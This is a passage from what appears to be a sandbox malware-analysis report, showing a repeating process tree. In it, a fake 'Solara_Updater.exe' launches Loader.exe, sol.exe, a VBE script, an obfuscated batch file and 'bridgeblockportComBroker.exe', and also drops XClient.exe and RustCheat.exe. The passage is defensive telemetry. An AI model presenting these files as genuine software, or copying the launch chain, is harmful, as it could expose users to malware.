                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                      37⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1256
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                          38⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:800
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                            38⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2768
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                39⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2860
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    40⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2984
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      41⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1172
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  38⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3012
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      39⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:776
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        39⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2760
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            40⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2008
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                41⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2100
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  42⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:984
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              39⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:588
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  40⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2092
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    40⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2664
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        41⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:900
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            42⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1516
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              43⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2956
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          40⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:484
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              41⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1208
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                41⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2340
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    42⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1592
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        43⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:300
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          44⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2568
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      41⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1308
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          42⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2716
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            42⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:984
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                43⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1716
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    44⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2008
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      45⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:752
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  42⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1188
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      43⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1808
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\XClient.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          44⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2332
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RustCheat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            44⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2456
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            43⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2988
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                44⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1156
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    45⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2672
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      46⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1460
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  43⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1032
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      44⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1124
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        44⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1764
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            45⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1712
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                46⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1896
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  47⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2256
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              44⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2484
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  45⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:684
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    45⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2164
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        46⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2552
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            47⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2360
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              48⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1172
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          45⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2188
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              46⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1708
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                46⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2332
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    47⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3036
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        48⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2444
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          49⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2100
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      46⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1672
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          47⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1484
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            47⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2052
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                48⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2176
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    49⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2932
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      50⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:304
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  47⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2740
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      48⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2180
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        48⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1664
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            49⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:268
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                50⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1040
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  51⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1088
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              48⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:316
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  49⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2076
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    49⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2352
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WScript.exe
